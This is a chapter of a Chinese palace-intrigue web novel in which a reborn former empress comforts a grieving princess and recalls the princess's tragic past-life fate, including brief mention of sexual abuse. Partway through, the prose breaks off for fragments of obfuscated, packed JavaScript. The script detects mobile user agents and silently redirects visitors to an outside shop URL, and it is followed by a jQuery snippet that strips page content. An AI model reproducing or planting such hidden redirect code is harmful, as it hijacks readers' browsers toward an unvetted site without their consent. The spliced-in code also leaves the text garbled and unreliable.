文趣网 > 其他小说 > 清君侧 > 40. 第 40 章
    “本宫安好什么呢。”

    沈佑宁回身探出手臂,折下一段枯枝,在指尖捻转,语气又颓败下去,“母妃新丧,宫里却忙着为晋王叔接风,我哪有心思迎接?就算是去了,也是平白惹人厌。”

    婵鸢本来还不知道小公主的愁绪在哪,听到这句浓重的怨怼时,瞬间便懂了她心头郁结何处。

    沈佑宁自幼长在姝妃身边,性子乖僻,擅作诗、字画,才华横溢,不仅是姝妃的心头宝,更深得帝后喜爱。

    奈何姝妃体弱,骤然离世,她心中本就哀恸难抑,偏偏宫中诸事都需要她这位公主出席,她一腔悲苦无处倾泻,自然要将怨气发泄出去。

    婵鸢不再是皇后了,不敢贸然劝慰公主的心事,更不能贸然辩驳,只能柔和劝道:“殿下节哀,姝妃仙逝,殿下心中悲痛万分,旁人都能体谅。宫中宴席接风乃是既定规制,不过例行公事罢了,万万抵不上殿下思念太妃的一片孝心。”

    沈佑宁一攥枯枝,咬了下嘴唇。

    原以为这侍妾定会借机辩解,邀宠示弱,不曾想她半点不攀扯帝王恩宠,只安分宽慰自己丧母之痛,倒是……与旁的女子不大一样。

    云京的小姐们间早已经传开了,太子殿下偏宠这名侍妾,也不知道她是哪里好,沈佑宁今天一见,发觉她不仅没有恃宠而骄,性子温顺恭谨,反倒衬得自己方才满腹苛责,心胸狭小。

    沈佑宁有些惭愧,朝着方才皇后做过的位置努了努嘴:“站着不累么?你坐下吧。”

    “是。”

    婵鸢撩裙坐下,可她人是坐下了,觉得屁股下面生了钉子,坐也坐不住。

    没别的缘故,只因她与沈佑宁,前世是一对冤家故人。

    那年端午佳节,婵鸢还未嫁给沈玄苏,云京城外办了一场赏花会,她在家里闷得慌,便带了叶亭偷偷溜出去看花。

    年轻的姑娘们还未婚嫁,就喜欢在人群里寻找容貌姣好的少年,婵鸢也不例外,那晚还真叫她寻着一个。

    只见人群里有个白衣少年,身量纤细,面如冠玉,正被几个地痞围住刁难,那夜的栀子花也开得正粗大,香气扑鼻,好一个凄美!

    婵鸢生来就胆子大,就算被礼制所归束,也管不住她那一刻热烈的心。

    她一时生气,就看不惯美人与美景被欺凌,便冲过去拉开了人,叶亭顺势出手,几招便将那几个地痞打发了。

    少年抬起头来看她,耳根微红,拱手道谢,婵鸢摸了摸他的手,笑眯眯地接受了谢。

    谁知道,这位“公子”竟是长意公主女扮男装。

    自那时起,沈佑宁就对她上了心,三番两次约她出门游玩,直到入冬,婵鸢被九叔许给了太子,就再不敢应这位“公子”的约会。

    后来大婚,沈佑宁知道她的真实身份,气得三个月没跟婵鸢说话,动不动就给她穿小鞋,耍小性。

    婵鸢心里也有愧,便总是搜罗女儿家喜欢的玩意送给她,讨她欢心,博她一笑。

    再后来,北燕质子入了京,一切都变了。

    那不仅是沈佑宁的悲剧,也是靖武侯府的悲剧。

    只因一年后,朔泓帝龙驭上宾,朝野瞬间震荡。

    皇后在宫中为帝守孝,虞太后临朝摄政,与慕容太师一手把持兵权政务,也将原本蛰伏隐忍的夺嫡之势摆上台面。

    彼时,景飞焰奉虞太后密旨,领三万玄甲铁骑,连夜拔营北上,征伐北燕。

    北燕地处苦寒的北疆,常年侵扰大瀛城池,屡次索要金银粮草。

    不过两月,景飞焰便连破七座边关重镇,火烧粮草大营,击溃北燕主力,直捣皇城。

    逼得君主奉上降书,割让北疆三城,岁岁进贡,俯首称臣,并送上质子。

    便是这名质子勾引了沈佑宁,给她下药,骗她怀孕,待到转过年,北燕昌盛,请质子回国继位,虞太后便允许他迎娶沈佑宁回北燕,以结两国邦交之好。

    然而,沈佑宁作为大瀛人,北燕人怎么可能不恨她?

    一夜间,爱她的男人变了嘴脸,他大开宫门,美名其曰——王大赏天下,所有男人皆可闯进大瀛公主的宫中,与她夜夜笙歌。

    他们蹂躏她,致使她怀孕,胎落,无数次的凌辱。

    沈佑宁也想回朝,但是虞太后已经病重,晋王把持朝政,群臣上谏,不洁之妇若回国,有损大瀛颜面,晋王便不准人接她。

    女人啊,在皇权的倾轧之下,命如草芥,忠孝于男子来说,是嘉奖,对女子来说,是枷锁。

    婵鸢记得消息传回云京时,众皇子皆疲于夺权,唯有沈玄苏把自己关在东宫书房里整整一天一夜没有出来。

    婵鸢站在书房门外,听见他在里面摔碎了砚台,又听见他撕心裂肺的咳嗽声。

    她只能端着药进去,陪着他,直到药凉了,又去热了一遍又一遍,却也知道,无力回天。

    沈佑宁被抛弃了,也有意逃离北燕,燕王却将她嫁给了南殷的老皇帝冲喜,没多久,便被赐给老皇帝的智障儿子做侍妾。

    她受不住这一生的凄苦,最终在沈玄苏登基、派人去接她的前一夜自缢,死时秘不发丧。

    沈佑宁这一生,便这样凋零。

    婵鸢望着眼前鲜活可爱的小姑娘,不由得想起前世,夜夜惊扰她的梦,每次醒来,总是泪湿枕头——

    沈佑宁出嫁前的那一晚,婵鸢嘱咐她:“他待你好,你便好好过。他待你不好,你便传信回来,你皇兄和我去接你。”

    沈佑宁却紧紧攥着她的手,泪落如雨:“皇嫂,若早知皇祖母待我情分情薄如此,我宁愿当年病死在冷宫,也好过去那虎狼之地,嫁作他人妇,我好怀念咱们在诗社的日子,和你画双雁图,我想念父皇母后和皇后娘娘,可是再也回不去了……”

    婵鸢去虞太后面前求情,换来的却是家国大义的说辞。

    是啊,将长意公主嫁给北燕,不仅抚慰边疆势力,更昭显国力昌盛,震慑邻邦。

    婵鸢一夜没睡,可是第二天,沈佑宁恭恭敬敬出了阁,一步一回头地上了花轿,泪两行而落,手中还抱着一束栀子花。

    婵鸢闭了闭眼,她在心底对自己说,今生,她不会让沈佑宁再走上那条路,这因果,她偏要改一改!

    但她也不会再做沈佑宁的朋友了,不是不想,是不敢。

    沈佑宁是个好姑娘,可她迟早要从沈玄苏身边离开,与其让沈佑宁再一次承受失去,不如从一开始便不要亲近。

    只是眼下说这个,为时尚早。

    景家的悲剧,也是因为北燕那一役埋下祸根,致使肃北侯府满门忠烈皆死,人头悬挂在城楼。

    而景飞焰对她的报复,谋反,更是对皇权的藐视。

    “你在想什么?”

    沈佑宁的声音将她从回忆里拉回来。

    婵鸢回过神,发现沈佑宁正盯着她看。

    她要为自己的沉默找个说辞,寻找着,刚好看见牡丹圃里那株被剪了残叶的魏紫上,又看着沈佑宁哭成杏仁的眼睛,便道:“臣在想,这株魏紫生得真不容易,别的牡丹都蔫了,只有它还开着,看这花瓣,也是被霜打过好几回了。不过,能熬过霜的,春天总会开得更好。”

    沈佑宁顺着婵鸢的视线望向那株魏紫,“你是在说花,还是在宽慰我?”

    婵鸢道:“两者皆有之。明月清辉尚且怜取世人,殿下莫要再叹如今孤苦,可知,不经一番彻骨寒,哪得梅花香枝头?殿下只需记得,不论事实如何变迁,境遇如何不堪,太子殿下……”

    与我。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623399|204295||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >婵鸢在心里说。

    “……会守着你。若有心事,尽可以找我诉说。”

    实则不该许下承诺的,万一做不到,岂不是一辈子都要愧疚?

    所以婵鸢特意把这誓言说出口,就是要提醒自己,她不能再看着一场悲剧的发生。

    沈佑宁听了这话,将她从头到脚重新打量了一遍,眸底敌意淡了几分:“皇兄喜欢你,想来也不是没有道理。”

    她起身朝她走来,周围的宫人纷纷让开,婵鸢下意识往后退了半步,却被沈佑宁一把拽了袖口。

    婵鸢猛的抬眸,撞进她亮莹莹的眼睛里。

    那里面早已满是好奇。

    ……不要对她感到好奇呀!

    婵鸢怕极了,掩着脸,扭了头,若无其事地看向别处:“殿下,这是做什么呀……”

    沈佑宁感觉自己好像太主动了些,不矜持了,可她柔软的身体和手,都那么招人喜欢……

    哎呀!

    沈佑宁的眼睫轻轻颤了一下,她松开婵鸢的袖口,退后一步,面上又恢复了方才那副冷淡而端庄的神情,只是语气比之前放柔了几分。

    “走吧,宫宴快要开始了。”

    说完她转过身,率先朝长乐宫的方向走去,走了几步,又停下来,侧头看了她一眼:“你跟上来呀,别走丢了。”

    宫道两侧的石灯笼不知被谁熄灭了几盏,越往长乐宫方向走,光线便越发昏暗。

    沈佑宁的脚踩偏了,险些摔倒。

    婵鸢拉住她道:“殿下,稍等。”

    沈佑宁紧紧抓住她的手臂:“何事?”

    婵鸢朝路旁的石灯笼走去,又从一侧凹槽里取出火折子,将熄灭的灯笼点亮。

    烛火从灯罩里透出来,暖黄的光晕像一滴落入水中的蜜,缓缓洇开,照彻长路。

    这宫里的每一条路婵鸢都记得清楚,因而,她又往前走,将接下来几盏分布在各处的灯笼一一点亮。

    点完最后一盏灯,婵鸢走回沈佑宁面前,将手中一盏琉璃宫灯递了过去:“殿下拿着吧,往后殿下若是夜里走这条路,叫人多点两盏灯便是。”

    沈佑宁低头看着那盏递到面前的琉璃灯。

    灯罩旧了,灯火却格外亮,将递灯之人的手指照得如玉一般。

    她伸出手去接,不小心碰到了婵鸢的手指。

    她的手指是温热的,与她那张冷艳的脸截然不同,暖得让人舍不得移开。

    “多谢。”

    沈佑宁将那盏灯接了过来。

    灯上的温度从灯柄传到她掌心,又从掌心一路往上,不知怎的便攀上了她的耳根。

    她感觉自己的耳朵在发烫……她低下头,不让婵鸢看见自己的脸,声音却比方才更凶了几分:“你这么熟练,莫不是也日日给皇兄点灯?”

    婵鸢愣了一下,随即垂眸,唇角弯起:“我在东宫的时候,确实也掌灯。殿下批折子总是批到深夜。”

    沈佑宁盯着她看了片刻,忽然别过脸去,将琉璃灯往自己怀里拢了拢。

    另一只手却拉住了婵鸢的衣袖,朝前走去,灯在她手中轻轻摇晃,将她脸颊的绯红映得时明时暗。

    婵鸢被她拽着走,很想笑。

    前世佑宁也是这样,明明想和她亲近,偏偏要嘴硬说些刻薄话,每次送她东西都要编出七八个理由,好像不这样做便丢了她公主的脸面。

    婵鸢快走两步,与沈佑宁并肩而行,路过一处水塘,却听见有人呼救。

    水塘……?

    糟糕了,若没记错,晋王回宫宴这夜落水之人,便是向虞太后递话,要把沈佑宁嫁去北燕的人!

    也是后来撺掇景飞焰入宫,对她施以凌虐春事的人!

    要救,还是绕路而行?